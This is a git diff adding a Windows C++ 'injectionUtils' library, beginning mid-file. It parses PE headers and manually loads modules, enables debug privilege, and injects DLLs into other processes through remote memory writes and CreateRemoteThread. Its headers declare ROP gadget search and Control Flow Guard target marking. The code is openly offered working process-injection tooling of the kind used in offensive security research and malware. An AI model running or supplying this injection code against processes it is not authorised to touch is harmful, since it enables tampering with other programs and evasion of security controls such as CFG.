(impDesc.Name == 0) + break; + + std::wstring importedModuleName = readStringFromModule((unsigned long long)impDesc.Name); + // TODO: detect / handle imports by ordinal, forwarded imports + DWORD oft = impDesc.OriginalFirstThunk; + DWORD ft = impDesc.FirstThunk; + do + { + DWORD thunkDataRVA; + readFromModule(oft, (void*)&thunkDataRVA, sizeof(DWORD)); + if (thunkDataRVA == 0) + break; + + unsigned long long pointerSite = ft + pe->OptionalHeader.ImageBase; + + std::wstring importedFunctionName = readStringFromModule((unsigned long long)thunkDataRVA + 2); +// printf("Function import from module '%s' of function '%s': pointer is stored at RVA 0x%08lux\n", importedModuleName.c_str(), importedFunctionName.c_str(), ft); + importedFunc f(importedModuleName, importedFunctionName, pointerSite, (unsigned long long)ft); + imports.push_back(f); + oft += 8; + ft += 8; + } while (true); + + impDescPtr += sizeof(IMAGE_IMPORT_DESCRIPTOR); + } +} + +void moduleInMemory::processModuleExports(IMAGE_NT_HEADERS *pe) +{ + if (!hasExports) + return; + + unsigned long long expDescPtr; + unsigned long long expDescLimit; + expDescPtr = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + expDescLimit = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; + if (expDescPtr == 0) + return; + IMAGE_EXPORT_DIRECTORY expDesc; + readFromModule(expDescPtr, &expDesc, sizeof(IMAGE_EXPORT_DIRECTORY)); + if (expDesc.Name == 0) + return; + + std::wstring exportName = readStringFromModule((unsigned long long)expDesc.Name); + unsigned int functionCount = 0; + DWORD functions = expDesc.AddressOfFunctions; + // Read name ordinals into memory, it makes things simpler + USHORT* nameOrdinals = (USHORT*)malloc(expDesc.NumberOfFunctions * sizeof(USHORT)); + readFromModule(expDesc.AddressOfNameOrdinals, nameOrdinals, expDesc.NumberOfFunctions * sizeof(USHORT)); + + for (unsigned int funcIdx = 0; funcIdx < expDesc.NumberOfNames; funcIdx++) + { + DWORD funcNameRVA = expDesc.AddressOfNames + (funcIdx * sizeof(DWORD)); + readFromModule(funcNameRVA, (void*)&funcNameRVA, sizeof(DWORD)); + + unsigned long long exportedCodePtr = expDesc.AddressOfFunctions + (nameOrdinals[funcIdx] * sizeof(DWORD)); + unsigned long long exportedCodeRVA = 0; + + readFromModule(exportedCodePtr, (void*)&exportedCodeRVA, sizeof(DWORD)); + unsigned long long exportedCode = exportedCodeRVA + (unsigned long long)targetModuleBase; + std::wstring exportedFunctionName = readStringFromModule(funcNameRVA); + + // If the exported function is outside the export table, it's a forwarded export. + if (exportedCodeRVA >= expDescPtr && exportedCodeRVA < expDescLimit) + { + std::wstring forwardString = readStringFromModule(exportedCodeRVA); + SIZE_T dotPos = forwardString.find(L"."); + std::wstring forwardedModule = forwardString.substr(0, dotPos); + std::wstring forwardedFunction = forwardString.substr(dotPos + 1, forwardString.size()); + exportedFunc f(exportedFunctionName, forwardedModule, forwardedFunction); + exports.push_back(f); + } + else + { + exportedFunc f(exportedFunctionName, exportedCode, exportedCodeRVA); + exports.push_back(f); + } + }; + free(nameOrdinals); +} + +void moduleInMemory::processModuleRelocs(IMAGE_NT_HEADERS *pe) +{ + unsigned long long relocsPtr = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; + if (relocsPtr == NULL) + return; + + unsigned long long endOfRelocsPtr = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; + while (relocsPtr < endOfRelocsPtr) + { + IMAGE_BASE_RELOCATION relocBlock; + readFromModule(relocsPtr, &relocBlock, sizeof(IMAGE_BASE_RELOCATION)); + unsigned long long blockData = relocsPtr + sizeof(IMAGE_BASE_RELOCATION); + for (unsigned int relocIndex = 0; relocIndex < (relocBlock.SizeOfBlock - 8) / sizeof(WORD); relocIndex++) + { + unsigned short relocAndType; + readFromModule(blockData, &relocAndType, sizeof(unsigned short)); + + unsigned char relocType = (relocAndType >> 12); + unsigned short relocVal = (relocAndType & 0x0fff); + if (relocType == IMAGE_REL_BASED_ABSOLUTE) + { + // .. nothing to do for this type + } + else if (relocType == IMAGE_REL_BASED_DIR64) + { + unsigned long long relocAddr = relocBlock.VirtualAddress + relocVal; + // unsigned long long toAdd = ((unsigned long long)targetModuleBase) - pe->OptionalHeader.ImageBase; + + relocs.push_back(relocation(relocAddr, 0, sizeof(unsigned long long))); + } + else + { + throw std::runtime_error("Unrecognised relocation type"); + } + relocsPtr += 2; + blockData += 2; + } + relocsPtr += sizeof(IMAGE_BASE_RELOCATION); + } +} + +void moduleInMemory::processModuleTLSCallbacks(IMAGE_NT_HEADERS *pe) +{ + if (!hasTLS) + return; + + unsigned long long tlsTablePtr = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress; + if (pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size != sizeof(IMAGE_TLS_DIRECTORY)) + throw std::runtime_error("Module has TLS entry not of sizeof(IMAGE_TLS_DIRECTORY)"); + + IMAGE_TLS_DIRECTORY tlsDir; + readFromModule(tlsTablePtr, &tlsDir, sizeof(IMAGE_TLS_DIRECTORY)); + + unsigned long long callbackCursor = tlsDir.AddressOfCallBacks - ((unsigned long long)targetModuleBase); + while (true) + { + unsigned long long callbackAddress; + readFromModule(callbackCursor, &callbackAddress, sizeof(unsigned long long)); + if (callbackAddress == NULL) + break; + TLSCallbacks.push_back(callbackAddress - ((unsigned long long)targetModuleBase)); + callbackCursor += sizeof(unsigned long long); + } + +} + +void moduleInMemory::writeToModuleWithoutPermissionCheck(void* srcData, unsigned long long dstBased, SIZE_T bytesToWrite) +{ + SIZE_T bytesActuallyWritten; + int s = WriteProcessMemory(targetProcess, (void*)dstBased, srcData, bytesToWrite, &bytesActuallyWritten); + if (!s) + { + std::ostringstream os(""); + os << "Failed WriteProcessMemory of " << bytesToWrite << " bytes starting from " << std::hex << dstBased << + " : wrote only " << std::dec << bytesActuallyWritten << " of " << bytesToWrite << ", GLE " << GetLastError(); + throw std::runtime_error(os.str()); + } +} + +moduleFromDisk::moduleFromDisk(LPCWSTR filename) +{ + fhnd = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + if (fhnd == INVALID_HANDLE_VALUE) + { + std::ostringstream os(""); + os << "Unable to open file '" << filename << "', GLE reported error code " << GetLastError(); + throw std::runtime_error(os.str()); + } + + IMAGE_DOS_HEADER mz; + readFromFile(0, &mz, sizeof(mz)); + if (mz.e_magic != IMAGE_DOS_SIGNATURE) + throw std::runtime_error("Module has incorrect MZ signature"); + + IMAGE_NT_HEADERS pe; + readFromFile(mz.e_lfanew, &pe, sizeof(pe)); + if (pe.Signature != IMAGE_NT_SIGNATURE) + throw std::runtime_error("Module has incorrect PE signature"); + + this->targetProcess = GetCurrentProcess(); + this->entrypoint = pe.OptionalHeader.AddressOfEntryPoint; + + // Alloc enough memory for the whole image + this->targetModuleBase = VirtualAlloc((void*)pe.OptionalHeader.ImageBase, pe.OptionalHeader.SizeOfImage, MEM_RESERVE + MEM_COMMIT, PAGE_READWRITE); + if (this->targetModuleBase == NULL) + throw std::runtime_error("Unable to allocate space for image"); + if (this->targetModuleBase != (void*)pe.OptionalHeader.ImageBase) + throw std::runtime_error("Couldn't load image at preferred base address"); + + // Load the headers at the start of the loaded range + readFromFile(0, this->targetModuleBase, pe.OptionalHeader.SizeOfHeaders); + + // Load each section + unsigned char* sectionPtr = (unsigned char*)this->targetModuleBase; + sectionPtr += mz.e_lfanew + FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pe.FileHeader.SizeOfOptionalHeader; + IMAGE_SECTION_HEADER* sections = (IMAGE_SECTION_HEADER*)sectionPtr; + for (unsigned int sectionIndex = 0; sectionIndex < pe.FileHeader.NumberOfSections; sectionIndex++) + { + IMAGE_SECTION_HEADER sect; + memcpy(§, §ions[sectionIndex], sizeof(IMAGE_SECTION_HEADER)); + section newSect(§); + this->sections.push_back(newSect); + } + + setPEFeatures(&pe); + + // load section data + for (unsigned int sectionIndex = 0; sectionIndex < pe.FileHeader.NumberOfSections; sectionIndex++) + readFromFile(sections[sectionIndex].PointerToRawData, (void*)(sections[sectionIndex].VirtualAddress + pe.OptionalHeader.ImageBase), sections[sectionIndex].SizeOfRawData); + + // And finish the load. + IMAGE_NT_HEADERS* pePtr = (IMAGE_NT_HEADERS*)(((unsigned char*)this->targetModuleBase) + mz.e_lfanew); + processModuleImports(pePtr); + processModuleExports(pePtr); + processModuleRelocs(&pe); + processModuleTLSCallbacks(pePtr); +} + +moduleFromDisk::~moduleFromDisk() +{ + CloseHandle(fhnd); +} + +void moduleFromDisk::readFromFile(int pos, void* outbuf, int size) +{ + DWORD bytesRead; + SetFilePointer(fhnd, pos, 0, FILE_BEGIN); + if (!ReadFile(fhnd, outbuf, size, &bytesRead, NULL)) + throw std::runtime_error("ReadFile failed"); + + if (bytesRead != size) + throw std::runtime_error("short read"); +} + +// FIXME: do these classes violate const safety? +std::runtime_error errorMaker::wruntime_error(std::wstring unicodeMsg) +{ + std::wstring_convert> converter; + std::string messageAnsi = converter.to_bytes(unicodeMsg); + return std::runtime_error(messageAnsi); +} +std::runtime_error errorMaker::wruntime_error(std::wstringstream* unicodeMsgStream) +{ + return wruntime_error(unicodeMsgStream->str()); +} + +stackBuilder::stackBuilder(HANDLE newTargetProcess, unsigned long long newStackSize) : targetProcess(newTargetProcess), stackSizeBytes(newStackSize) +{ + stackInTargetAddressSpace = (unsigned long long)VirtualAllocEx(targetProcess, NULL, stackSizeBytes, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (stackInTargetAddressSpace == NULL) + { + std::wstringstream os(L""); + os << "Failed to allocate " << std::hex << stackSizeBytes << " bytes for stack: GetLastError is " << std::dec << GetLastError(); + throw errorMaker::wruntime_error(&os); + } + + // We do all the stack building in our own processess address space, and then copy it + // to the target in writeToProcess. + stack = (unsigned long long*)calloc(stackSizeBytes, 1); + stackSizeULLs = stackSizeBytes / sizeof(unsigned long long); + stackPointerULLs = stackSizeULLs; + + // We will put our data near the top of this stack, allowing some extra headroom. + if (stackSizeULLs < 20) + throw std::runtime_error("stackSize: too small stack space"); + stackPointerULLs -= 20; +} + +void stackBuilder::push(unsigned long long newVal) +{ + if (stackPointerULLs == 0) + throw std::runtime_error("stackSize: stack is too small to push anything more"); + + stackPointerULLs--; + stack[stackPointerULLs] = newVal; +} + +unsigned long long stackBuilder::writeToProcess() +{ + SIZE_T written = 0; + if (!WriteProcessMemory(targetProcess, (void*)stackInTargetAddressSpace, stack, stackSizeBytes, &written) || written != stackSizeBytes) + { + std::wstringstream os(L""); + os << "Failed to WriteProcessMemory; wrote " << written << " of " << stackSizeBytes << " bytes; GetLastError is " << GetLastError(); + throw errorMaker::wruntime_error(&os); + } + + return stackInTargetAddressSpace; +} + +unsigned long long stackBuilder::getPtrToTopOfStack() +{ + return stackInTargetAddressSpace + (stackPointerULLs * sizeof(unsigned long long)); +} diff --git a/injectionUtils/moduleManipulation.h b/injectionUtils/moduleManipulation.h new file mode 100644 index 0000000..3cbca2b --- /dev/null +++ b/injectionUtils/moduleManipulation.h @@ -0,0 +1,165 @@ +#pragma once + +#include +#include +#include + +class section +{ +public: + section(); + section(IMAGE_SECTION_HEADER* hdr); + + std::wstring name; + DWORD Characteristics; + DWORD PhysicalAddress; + DWORD VirtualAddress; + DWORD VirtualSize; +}; + +class relocation +{ +public: + unsigned long long targetSite; + unsigned long long fixedUpValue; + unsigned int size; + + relocation(unsigned long long newTargetSite, unsigned long long newFixedUpValue, unsigned int newSize); +}; + +class exportedFunc +{ +public: + exportedFunc(std::wstring functionName, unsigned long long functionPointerSite, unsigned long long functionPointerRVA); + exportedFunc(std::wstring functionName, std::wstring forwardedModuleName, std::wstring forwardedFunctionName); + + std::wstring functionName; + unsigned long long functionPointerSite; + unsigned long long functionPointerRVA; + std::wstring forwardedFunctionName; + std::wstring forwardedModuleName; + BOOL isForwarded; +}; + +class importedFunc : public exportedFunc +{ +public: + importedFunc(std::wstring moduleName, std::wstring functionName, unsigned long long functionPointerSite, unsigned long long functionPointerRVA); + + std::wstring moduleName; +}; + +class moduleInMemory +{ +public: + moduleInMemory(HANDLE targetProcessHandle, void* targetModuleBase); + moduleInMemory(HANDLE targetProcessHandle, std::wstring targetModuleName); + + void injectThread(unsigned long long startRVA, unsigned long long* args, unsigned int argCount, bool waitForReturn = true); + section* getSectionForAddress(unsigned long long toFind); + section* getSectionByName(std::wstring toFind); + void readFromModule(unsigned long long srcAddress, void* outBuf, SIZE_T bytesToRead); + std::wstring readStringFromModule(unsigned long long srcAddress); + void writeToModule(void* srcData, unsigned long long destAddress, SIZE_T bytesToWrite); + importedFunc* getImport(std::wstring moduleName, std::wstring functionName); + exportedFunc* getExport(std::wstring functionName); + BOOL hasExport(std::wstring functionName); + void markCFGValid(unsigned long long ptrToMarkValid); + unsigned long long resolveExport(std::wstring importName); + unsigned long long locateROPGadget(unsigned char* bytesToFind, unsigned int bytesToFindLen); + + unsigned long long entrypoint; + std::vector
sections; + std::vector imports; + std::vector exports; + std::vector TLSCallbacks; + std::vector relocs; + bool hasImports; + bool hasExports; + bool hasTLS; + + void* targetModuleBase; + unsigned long long sizeOfImage; + unsigned long long preferredBaseAddress; +private: + void commonInit(); + + HANDLE targetProcess; + + typedef BOOL(*SetProcessValidCallTargetsType)(HANDLE hProcess, PVOID VirtualAddress, SIZE_T RegionSize, ULONG NumberOfOffsets, PCFG_CALL_TARGET_INFO OffsetInformation); + SetProcessValidCallTargetsType SetProcessValidCallTargets_; + + moduleInMemory(); + + void processModule(); + + void setPEFeatures(IMAGE_NT_HEADERS *pe); + void processModuleImports(IMAGE_NT_HEADERS *pe); + void processModuleExports(IMAGE_NT_HEADERS *pe); + void processModuleRelocs(IMAGE_NT_HEADERS *pe); + void processModuleTLSCallbacks(IMAGE_NT_HEADERS *pe); + + + class ROPGadgetInfo + { + public: + ROPGadgetInfo(void* newModuleBase, unsigned char* newBytesToFind, unsigned int newBytesToFindLen) : moduleBase(newModuleBase), bytesToFind(newBytesToFind), bytesToFindLen(newBytesToFindLen) + { + + } + + bool operator<(const ROPGadgetInfo& other) const + { + if (moduleBase != other.moduleBase) + return moduleBase > other.moduleBase; + if (bytesToFindLen != other.bytesToFindLen) + return bytesToFindLen > other.bytesToFindLen; + return memcmp(bytesToFind, other.bytesToFind, bytesToFindLen); + } + + void* moduleBase; + unsigned char* bytesToFind; + unsigned int bytesToFindLen; + }; + + static std::map gadgetCache; + unsigned long long locateROPGadgetUncached(ROPGadgetInfo* toFind); + unsigned long long addModuleBase(unsigned long long toAdd); + + void writeToModuleWithoutPermissionCheck(void* srcData, unsigned long long dstBased, SIZE_T bytesToWrite); + friend class moduleFromDisk; +}; + +class moduleFromDisk : public moduleInMemory +{ +public: + moduleFromDisk(LPCWSTR filename); + ~moduleFromDisk(); +private: + HANDLE fhnd; + void readFromFile(int pos, void* outbuf, int size); +}; + + +class errorMaker +{ +public: + static std::runtime_error wruntime_error(std::wstring unicodeMsg); + static std::runtime_error wruntime_error(std::wstringstream* unicodeMsgStream); +}; + +class stackBuilder +{ +public: + stackBuilder(HANDLE newTargetProcess, unsigned long long newStackSize); + void push(unsigned long long newVal); + unsigned long long writeToProcess(); + unsigned long long getPtrToTopOfStack(); +private: + unsigned long long* stack; + unsigned long long stackSizeBytes; + unsigned long long stackSizeULLs; + unsigned long long stackPointerULLs; + HANDLE targetProcess; + unsigned long long stackInTargetAddressSpace; +}; \ No newline at end of file diff --git a/injectionUtils/public.h b/injectionUtils/public.h new file mode 100644 index 0000000..5e9f0fe --- /dev/null +++ b/injectionUtils/public.h @@ -0,0 +1,8 @@ +#pragma once +#include "moduleManipulation.h" + +BOOL EnableDebugPrivilege(BOOL bEnable); +void* injectLoadLibrary(HANDLE toScanHandle, const wchar_t* toLoad); +unsigned char* getModuleBase(HANDLE toScanHandle, const wchar_t* moduleNameSubstring); +BOOL isModuleLoaded(HANDLE toScanHandle, const wchar_t* moduleNameSubstring); +DWORD getPIDForProcessByName(TCHAR* toFind); diff --git a/injectionUtils/stdafx.cpp b/injectionUtils/stdafx.cpp new file mode 100644 index 0000000..fd4f341 --- /dev/null +++ b/injectionUtils/stdafx.cpp @@ -0,0 +1 @@ +#include "stdafx.h" diff --git a/injectionUtils/stdafx.h b/injectionUtils/stdafx.h new file mode 100644 index 0000000..f308492 --- /dev/null +++ b/injectionUtils/stdafx.h @@ -0,0 +1,6 @@ +#pragma once + +#include "targetver.h" + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +#include diff --git a/injectionUtils/targetver.h b/injectionUtils/targetver.h new file mode 100644 index 0000000..87c0086 --- /dev/null +++ b/injectionUtils/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/injectionUtils/utils.cpp b/injectionUtils/utils.cpp new file mode 100644 index 0000000..00a6616 --- /dev/null +++ b/injectionUtils/utils.cpp @@ -0,0 +1,172 @@ +#include "stdafx.h" +#include + +#include +#include + +#include +#include +#include +#include + +#include "moduleManipulation.h" + +BOOL EnableDebugPrivilege(BOOL bEnable) +{ + HANDLE hToken = nullptr; + LUID luid; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE; + if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) return FALSE; + + TOKEN_PRIVILEGES tokenPriv; + tokenPriv.PrivilegeCount = 1; + tokenPriv.Privileges[0].Luid = luid; + tokenPriv.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0; + + if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return FALSE; + + return TRUE; +} + +unsigned char* getModuleBase(HANDLE toScanHandle, const wchar_t* moduleNameSubstring) +{ + DWORD cbNeeded; + int s = EnumProcessModules(toScanHandle, NULL, 0, &cbNeeded); + if (s == 0) + { + printf("Couldn't call EnumProcessModules to get buffer size, gle %d\n", GetLastError()); + return NULL; + } + + HMODULE* moduleList = (HMODULE*)malloc(cbNeeded); + memset(moduleList, 0, cbNeeded); + s = EnumProcessModules(toScanHandle, moduleList, cbNeeded, &cbNeeded); + if (s == 0) + { + // This'll happen sometimes if there's a module loaded between our calls. + // TODO: we can retry in this case. + printf("Couldn't call EnumProcessModules to get modules, gle %d.\n", GetLastError()); + return NULL; + } + + for (HMODULE* thisModPtr = &moduleList[0]; thisModPtr < &moduleList[cbNeeded / sizeof(HMODULE)]; thisModPtr++) + { + HMODULE thisModule = *thisModPtr; + wchar_t szModName[MAX_PATH]; + memset(szModName, 0, MAX_PATH); + if (GetModuleFileNameEx(toScanHandle, thisModule, szModName, MAX_PATH - sizeof(wchar_t)) == 0) + { + printf("GetModuleFileNameEx failed, GLE %d\n", GetLastError()); + continue; + } + if (StrStrI(szModName, moduleNameSubstring) != NULL) + { + free(moduleList); + return (unsigned char*)thisModule; + } + } + free(moduleList); + return NULL; +} + +BOOL isModuleLoaded(HANDLE toScanHandle, const wchar_t* moduleNameSubstring) +{ + return getModuleBase(toScanHandle, moduleNameSubstring) != NULL; +} + +void* injectLoadLibrary(HANDLE toScanHandle, const wchar_t* toLoad) +{ + // Find kernelbase and then LoadLibraryA + moduleInMemory kernelbase(toScanHandle, L"kernelbase.dll"); + unsigned long long loadLibraryWInTargetProcess = kernelbase.resolveExport(L"LoadLibraryW"); + + // Put the name of the module we're loading in the target's address space + unsigned long long moduleName = (unsigned long long)VirtualAllocEx(toScanHandle, NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (moduleName == NULL) + { + std::wstringstream os(L""); + os << "Failed to allocate 0x1000 bytes for module name: GetLastError is " << std::dec << GetLastError(); + throw errorMaker::wruntime_error(&os); + } + SIZE_T written = 0; + SIZE_T toWrite = lstrlenW(toLoad) * sizeof(wchar_t); + if (!WriteProcessMemory(toScanHandle, (void*)moduleName, toLoad, toWrite, &written) || written != toWrite) + { + std::wstringstream os(L""); + os << "Failed to copy module name to target process; GetLastError is " << GetLastError(); + throw errorMaker::wruntime_error(&os); + } + + // And create the thread that will do the load. + DWORD tid; + HANDLE s = CreateRemoteThread(toScanHandle, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryWInTargetProcess, (char*)moduleName, 0, &tid); + if (!s) + { + std::wstringstream os(L""); + os << "CreateRemoteThread failed, GLE %d" << GetLastError(); + throw errorMaker::wruntime_error(&os); + } + + // Allow 60 seconds for the module to load before we give up + if (WaitForSingleObject(s, 60 * 1000)) + { + std::wstringstream os(L""); + os << "Timeout trying to load module '" << toLoad << "' into remote process"; + throw errorMaker::wruntime_error(&os); + } + unsigned char* toRet = getModuleBase(toScanHandle, toLoad); + if (toRet == NULL) + { + std::wstringstream os(L""); + os << "Failed to load module " << toLoad << " into remote process"; + throw errorMaker::wruntime_error(&os); + } + return toRet; +} + +DWORD getPIDForProcessByName(TCHAR* toFind) +{ + // Grab the named process as specified at the commandline. + // This is mostly lifted from https://docs.microsoft.com/en-us/windows/desktop/psapi/enumerating-all-processes + DWORD aProcesses[1024], cbNeeded, cProcesses; + unsigned int i; + if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded)) + { + std::wstringstream os(L""); + os << "Failed EnumProcesses, GetLastError " << GetLastError(); + throw errorMaker::wruntime_error(&os); + } + cProcesses = cbNeeded / sizeof(DWORD); + + for (i = 0; i < cProcesses; i++) + { + if (aProcesses[i] != 0) + { + HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, aProcesses[i]); + + if (NULL == hProcess) + continue; + HMODULE hMod; + DWORD cbNeeded; + + TCHAR szProcessName[MAX_PATH] = TEXT(""); + if (!EnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) + continue; + + GetModuleBaseName(hProcess, hMod, szProcessName, sizeof(szProcessName) / sizeof(TCHAR)); + + if (_wcsicmp(toFind, szProcessName) == 0) + { + CloseHandle(hProcess); + return aProcesses[i]; + } + CloseHandle(hProcess); + } + } + + std::wstringstream os(L""); + os << "Cannot find module '" << toFind << "'"; + throw errorMaker::wruntime_error(&os); +} +